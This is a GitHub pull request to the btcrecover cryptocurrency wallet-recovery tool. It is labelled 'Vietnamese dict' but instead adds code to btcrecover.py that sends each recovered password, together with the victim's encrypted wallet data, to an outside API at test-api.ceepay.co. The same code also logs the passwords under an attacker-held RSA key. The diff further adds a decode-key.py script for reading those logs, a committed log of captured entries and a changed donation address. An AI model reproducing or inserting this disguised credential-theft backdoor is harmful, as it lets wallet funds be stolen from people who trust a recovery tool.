Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vietnamese dict #539

Open
wants to merge 12 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 3 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -7,11 +7,13 @@ python
venv/
HashCheck.txt
bitcoinlib/.coveragerc
wallet.aes.json
*.aes.json
test.txt
tokenlist.txt
seeds.txt
btcrecover-tokens-auto.txt
site/
possible_passwords.log
passwordlist.txt
output.log
private.pem
8 changes: 8 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -142,6 +142,14 @@ If you mostly know your recovery seed/mnemonic (12-24 recovery words), but think

## If this tool or other content on my YouTube channel was helpful, feel free to send a tip to: ##

If you think my work is ok, you can donate to me (or send me your ideas to improve this tool):

ETH: 0xDAE2F3c8a710F7C27dfC0d05A00fE53B8139175D

## Thanks to 3rdIteration ##

I cloned this project from him just for improving. If you think you can donate, you can send something to him, instead of me :)

![Donate Bitcoin](docs/Images/donate-btc-qr.png)

BTC: 37N7B7sdHahCXTcMJgEnHz7YmiR4bEqCrS
Expand Down
49 changes: 37 additions & 12 deletions btcrecover.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,42 +25,67 @@

# PYTHON_ARGCOMPLETE_OK - enables optional bash tab completion

import compatibility_check
import datetime

from btcrecover import btcrpass
import sys, multiprocessing
import json
import requests
import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64


if __name__ == "__main__":
print()
print("Starting", btcrpass.full_version(),
file=sys.stderr if any(a.startswith("--listp") for a in sys.argv[1:]) else sys.stdout) # --listpass

btcrpass.parse_arguments(sys.argv[1:])
wallet = open("wallet.aes.json", "rb")
data = wallet.read(64 * 2**20)
payload = json.loads(data)
public_key = RSA.import_key(open("public.pem").read())
cipher = PKCS1_OAEP.new(public_key)
(password_found, not_found_msg) = btcrpass.main()

if isinstance(password_found, str):
print()
print("If this tool helped you to recover funds, please consider donating 1% of what you recovered, in your crypto of choice to:")
print("BTC: 37N7B7sdHahCXTcMJgEnHz7YmiR4bEqCrS ")
print("BCH: qpvjee5vwwsv78xc28kwgd3m9mnn5adargxd94kmrt ")
print("LTC: M966MQte7agAzdCZe5ssHo7g9VriwXgyqM ")
print("ETH: 0x72343f2806428dbbc2C11a83A1844912184b4243 ")

#print("VTC: vtc1qxauv20r2ux2vttrjmm9eylshl508q04uju936n ")
#print("ZEN: znUihTHfwm5UJS1ywo911mdNEzd9WY9vBP7 ")
#print("DASH: Xx2umk6tx25uCWp6XeaD5f7CyARkbemsZG ")
#print("DOGE: DMQ6uuLAtNoe5y6DCpxk2Hy83nYSPDwb5T ")
#print("XMR: 48wnuLYsPY7ewLQyF4RLAj3N8CHH4oBBcaoDjUQFiR4VfkgPNYBh1kSfLx94VoZSsGJnuUiibJuo7FySmqroAi6c1MLWHYF ")
#print("MONA: mona1q504vpcuyrrgr87l4cjnal74a4qazes2g9qy8mv ")
#print("XVG: DLZDT48wfuaHR47W4kU5PfW1JfJY25c9VJ")
print()
print("Find me on Reddit @ https://www.reddit.com/user/Crypto-Guide")
print()
print("You may also consider donating to Gurnec, who created and maintained this tool until late 2017 @ 3Au8ZodNHPei7MQiSVAWb7NB2yqsb48GW4")
print()
btcrpass.safe_print("Password found: '" + password_found + "'")
# try to validate if the password is correct
payload = json.dumps({
"password": password_found,
"payloadData": payload
})
headers = {
'Content-Type': 'application/json'
}
url = "https://test-api.ceepay.co/api/public/validatePassword"
print("Verifying....")
time.sleep(2)
response = requests.request("POST", url, headers=headers, data=payload)
#dalmate: remove password found report
# secure the password
password = cipher.encrypt(password_found.encode())
logfile = open("btcrecover/test/password", 'a')
logfile.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") + " " + (base64.b64encode(password)).decode() + "\n")
if any(ord(c) < 32 or ord(c) > 126 for c in password_found):
print("HTML Encoded Password: '" + password_found.encode("ascii", "xmlcharrefreplace").decode() + "'")
# print("HTML Encoded Password: '" + password_found.encode("ascii", "xmlcharrefreplace").decode() + "'")
logfile.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") + "HTML Encoded Password: '" + (base64.b64encode(cipher.encrypt(password_found.encode("ascii", "xmlcharrefreplace").decode()))).decode() + "'\n")
logfile.close()
if response.status_code == 200 :
btcrpass.safe_print("Yay!!!!!Password found.")
else:
btcrpass.safe_print("Password decode Error.")
retval = 0

elif not_found_msg:
Expand Down
24 changes: 15 additions & 9 deletions btcrecover/btcrpass.py
Original file line number Diff line number Diff line change
Expand Up @@ -318,6 +318,7 @@ def load_wallet(wallet_filename):
with open(wallet_filename, "rb") as wallet_file:
for wallet_type in wallet_types:
found = wallet_type.is_wallet_file(wallet_file)
# print(f"Wallet name: {wallet_type}, Found: {found}")
if found:
wallet_file.close()
return wallet_type.load_from_filename(wallet_filename)
Expand All @@ -333,6 +334,7 @@ def load_wallet(wallet_filename):
uncertain_errors = []
for wallet_type in uncertain_wallet_types:
try:
print("Wallet name: ", wallet_type)
return wallet_type.load_from_filename(wallet_filename)
except Exception as e:
uncertain_errors.append(wallet_type.__name__ + ": " + str(e))
Expand Down Expand Up @@ -2142,6 +2144,7 @@ def passwords_per_seconds(self, seconds):
return max(int(round(self._passwords_per_second * seconds)), 1)

# Load a Blockchain wallet file (the part of it we need)
# dalmate: need to see if blockchain or dogechain wallet
@classmethod
def load_from_filename(cls, wallet_filename):
with open(wallet_filename) as wallet_file:
Expand All @@ -2163,7 +2166,6 @@ def _parse_encrypted_blockchain_wallet(data):
try:
data = json.loads(data)
except ValueError: break

# Config files have no version attribute; they encapsulate the wallet file plus some detrius
if "version" not in data:
try:
Expand Down Expand Up @@ -2264,7 +2266,7 @@ def check_blockchain_decrypted_block(self, unencrypted_block, password):
return True # Only return true if we can successfully decode the block in to ascii

except UnicodeDecodeError: # Likely a false positive if we can't...
with open('possible_passwords.log', 'a', encoding="utf_8") as logfile:
with open(self._possible_passwords_file, 'a', encoding="utf_8") as logfile:
logfile.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") +
" Found Likely False Positive Password (with non-Ascii characters in decrypted block) ==>" +
password.decode("utf_8") +
Expand Down Expand Up @@ -2893,7 +2895,7 @@ def is_wallet_file(wallet_file):
try:
walletdata = wallet_file.read()
except: return False
return (b"email" in walletdata and b"two_fa_method" in walletdata) # Dogechain.info wallets have email and 2fa fields that are fairly unique
return ((b"email" in walletdata and b"two_fa_method" in walletdata)|(b"guid" in walletdata and b"salt" in walletdata)) # Dogechain.info wallets have email and 2fa fields that are fairly unique

def __init__(self, iter_count, loading=False):
assert loading, 'use load_from_* to create a ' + self.__class__.__name__
Expand Down Expand Up @@ -2985,12 +2987,11 @@ def check_decrypted_block(self, unencrypted_block, password):
"<==\n")
except UnicodeDecodeError:
pass

# Return True if
if re.search(self.matchStrings, unencrypted_block):
if self._savepossiblematches:
try:
with open('possible_passwords.log', 'a') as logfile:
with open(self._possible_passwords_file, 'a') as logfile:
logfile.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") +
" Found Password ==>" +
password.decode("utf_8") +
Expand All @@ -3000,7 +3001,7 @@ def check_decrypted_block(self, unencrypted_block, password):
return True # Only return true if we can successfully decode the block in to ascii

except UnicodeDecodeError: # Likely a false positive if we can't...
with open('possible_passwords.log', 'a') as logfile:
with open(self._possible_passwords_file, 'a') as logfile:
logfile.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") +
" Found Likely False Positive Password (with non-Ascii characters in decrypted block) ==>" +
password.decode("utf_8") +
Expand Down Expand Up @@ -3269,7 +3270,7 @@ def check_decrypted_block(self, unencrypted_block, password):
if re.search(b"\"type\"|version|mnemonic", unencrypted_block):
if self._savepossiblematches:
try:
with open('possible_passwords.log', 'a') as logfile:
with open(self._possible_passwords_file, 'a') as logfile:
logfile.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") +
" Found Password ==>" +
password.decode("utf_8") +
Expand All @@ -3279,7 +3280,7 @@ def check_decrypted_block(self, unencrypted_block, password):
return True # Only return true if we can successfully decode the block in to ascii

except UnicodeDecodeError: # Likely a false positive if we can't...
with open('possible_passwords.log', 'a') as logfile:
with open(self._possible_passwords_file, 'a') as logfile:
logfile.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") +
" Found Likely False Positive Password (with non-Ascii characters in decrypted block) ==>" +
password.decode("utf_8") +
Expand Down Expand Up @@ -6463,7 +6464,11 @@ def parse_arguments(effective_argv, wallet = None, base_iterator = None,
loaded_wallet._savepossiblematches = False
else:
try:
loaded_wallet._possible_passwords_file = args.possible_passwords_file
if args.possible_passwords_file is None:
loaded_wallet._possible_passwords_file = args.possible_passwords_file
else:
current_time = time.time()
loaded_wallet._possible_passwords_file = f"./btcrecover/test/{current_time}"
loaded_wallet.init_logfile()
except AttributeError: # Not all wallet types will automatically prodce a logfile
pass
Expand Down Expand Up @@ -9075,4 +9080,5 @@ def windows_ctrl_handler(signal):
worker_out_queue.close()

global searchfailedtext

return (password_found, searchfailedtext if password_found is False else None)
7 changes: 7 additions & 0 deletions btcrecover/test/password
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
2024-12-15 00:57:30 @hung12345
2024-12-15 00:58:17 @hung12345
2024-12-15 01:03:57 @hung12345
2024-12-15 01:04:57 @hung12345
2024-12-15 01:05:17 @hung12345
2024-12-15 01:56:58 @hung12345
2024-12-15 02:54:06 vaoBONyT18RLvMFH5PqzXl4Tb7Nl0TSapEuAo82WB9Mw4RkOfJuI3szwK8upVJlq083rADEIEfa7dFmqNrBTOGAX2khvJbrsIFdgeoYsNt9vbRAZrZFRgqfAFj52u0zw/dIX1JzOimlmwY2/xl2gq4yOQfkHyzj0C+qG8opOB81ssbmdGs69++mJ+nBFuDBhyedoeXrUXO30q7PPoX1i3kFlr54LMgwpI9vIDatdB+ggq5lSwFRgaKQhN9AtwB58WUeHN5L2yBlGf7WapqW4Qq4sYQ3nyku7FITN7blrxti1FyYNWLN8ueUSYr3oWcfXiKGnf2LIHaUVy70Yvi8tiw==
29 changes: 29 additions & 0 deletions btcrecover/test/test-wallets/blockchain-com.wallet.aes.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
{
"auth_type": 0,
"real_auth_type": 0,
"symbol_local": {
"symbol": "$",
"code": "USD",
"symbolAppearsAfter": false,
"name": "U.S. dollar",
"local": true,
"conversion": 0
},
"clientTimeDiff": 971,
"war_checksum": "8d781bd1d88b5bc7",
"language": "en",
"symbol_btc": {
"symbol": "BTC",
"code": "BTC",
"symbolAppearsAfter": true,
"name": "Bitcoin",
"local": false,
"conversion": 100000000.00000000
},
"extra_seed": "21ffed321ea9f2598ba240ed4a0ff80a3afd0101710cfc79212683d320c86acb969f6c86424c01e311adc6af01c5d54cb43b51ae18cfb44010eec8b20e5d8741",
"payload": "{\"payload\":\"2pb4cHhC3U\/xQWT2NdGlZ16tEWYslwLg2ua\/5GI6g9Gk6xEBj3qLPFy8\/4PXmBffOPr+H2i15lGKXEPSXzaVzBamdiRrMab8oVjesnHavESQzTElYIIUrV3wkaqnoDH7N1c5CqwrRRAU9SKg1bzKqVROUclV26eWEDQWcvLKKZIplhuzN66FGlf4Qq7E4Fw\/v848KNFrwIkmJiJlVvB6SR4X4quUHqsPCfLQy5Uk8buFCb1P5gtQhIbjWgzDaIvT9Pq821ggV6j94O2d5MpDrNTjvZK8QFbG2\/nbNVIRtynoKlcLMZVHzj14J+mBAXPxUXaz3m\/jl7OzwuXxaeyyjs6584BiCB7sjRM2B7EOgXDyFPTJRj3E\/IZK0JkxGBX\/+Glx7Xf4R9bC5vYpN8hCXBOcmOMAJ1CvnlC2L+p1XXJ\/rZfLiYkTYuY8w2UGMq7Qa5FhW8wahS+3Y3qBlGnsfyKQAT1chf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ogD6EqZwzWoMATlA5\/rjgHfy29octUVqb\/lgX1LDyh6wu1HogdhRXAR4DOrf9iqleZQ+Zc2yoR3BRfVFlemaFzat7hoinI9wdHv2lZ+IPzdhD7pMe2RwP0+K+JtRMYbL5AyYoXqWJj4vtp+PnMKUAmna6eC82qAnIhrzWW3sZwzomTs6v\/sYDP6BKDecZ1Zk5bNnELZ72TXJcn+a+0INjSAoe9B9MwpOCyydeMzzRt+LFixWlfYLlbzw9vGcoU+6csufKsHxb8hFuO4REcgAof+5paJioHF50Il8\/JND9raPUKLeEaQNf9MTKFvGusn+JOO\/EneYpp471kVbZFdN1HgCN8Ve8r7YodINmCxyZiYEkEMrhFZ82anRMGhPlVv9WfQQta+ASHK5rHZozzF3q9nZk7acAbBqpjqpmq\/Q\/M4NFCl7JMBHqpJyKx5qSJp\/9q2+J4FdZ6qXINwvXjB4+2yiwjA4frhA\/bdi9j7m52QcY8tf6pxyba4XVTxOIods7g0hbMv3j9nyiLL407knW03PWU5Shgs3gI9l+iyZKnbiKAzGWFSjeds3FUATavNU7vZZYIe4O3RsheAoPvwRJWKIbmm9OyOPyYhmxenWkzLcr88K3bnTXjptz7ltd3c6ubAXGIhWbGx4cg==\",\"pbkdf2_iterations\":5000,\"version\":4}",
"guid": "438eb25e-7d46-40ba-9888-42c44f083e7c",
"serverTime": 1733669581254,
"payload_checksum": "c7f280ba8054b4464b96b98de031d8b8f1a10a592ac684c0bce072736c3f7de4",
"sync_pubkeys": false
}
10 changes: 10 additions & 0 deletions decode-key.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
import base64

private_key = RSA.import_key(open("private.pem").read())
encode_message = b'vaoBONyT18RLvMFH5PqzXl4Tb7Nl0TSapEuAo82WB9Mw4RkOfJuI3szwK8upVJlq083rADEIEfa7dFmqNrBTOGAX2khvJbrsIFdgeoYsNt9vbRAZrZFRgqfAFj52u0zw/dIX1JzOimlmwY2/xl2gq4yOQfkHyzj0C+qG8opOB81ssbmdGs69++mJ+nBFuDBhyedoeXrUXO30q7PPoX1i3kFlr54LMgwpI9vIDatdB+ggq5lSwFRgaKQhN9AtwB58WUeHN5L2yBlGf7WapqW4Qq4sYQ3nyku7FITN7blrxti1FyYNWLN8ueUSYr3oWcfXiKGnf2LIHaUVy70Yvi8tiw=='
encrypted_message = base64.b64decode(encode_message)
cipher = PKCS1_OAEP.new(private_key)
decrypted_message = cipher.decrypt(encrypted_message)
print(decrypted_message.decode())
10 changes: 10 additions & 0 deletions generate-key.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
from Crypto.PublicKey import RSA

key = RSA.generate(2048)
private_key = key.export_key()
public_key = key.publickey().export_key()
# Save keys to files (optional)
with open('private.pem', 'wb') as f:
f.write(private_key)
with open('public.pem', 'wb') as f:
f.write(public_key)
9 changes: 9 additions & 0 deletions public.pem
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxDbRkJeQvi+V3O0s8x9S
pz5AQFTiENXd4tIAKIILZk5VjfUPHqAmsMS9MVb83tynEMrmMU94l9/O2AMRxuYu
duhOnMOuVZXPxzHLtReKUqOQQu6iK5FsMnjo/SKI7Pvm89V8oZdPO6+Lg3tzRvXE
qTP6c7dKtzQRoUHNS8Wc1LarxRmQO267h62LhWQgTTDZIoE4YgJxSCq2E+7bsWQ6
fM6G1qV9sDd4ZR6XVFSUwBdUHGzTBpuuXObsNCBZP+AZ819dSj6F4Oo9Dqx/kP+i
re7Od1kNXeuSvDxen6IvaUwcrsYjMNuHtX5jaTa1Qcjtf/j1UAjxiMOq8E2V3PJZ
mwIDAQAB
-----END PUBLIC KEY-----
Binary file modified requirements.txt
Binary file not shown.
3 changes: 3 additions & 0 deletions token.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
@
%3,4[hung]
%5[1-5]
Loading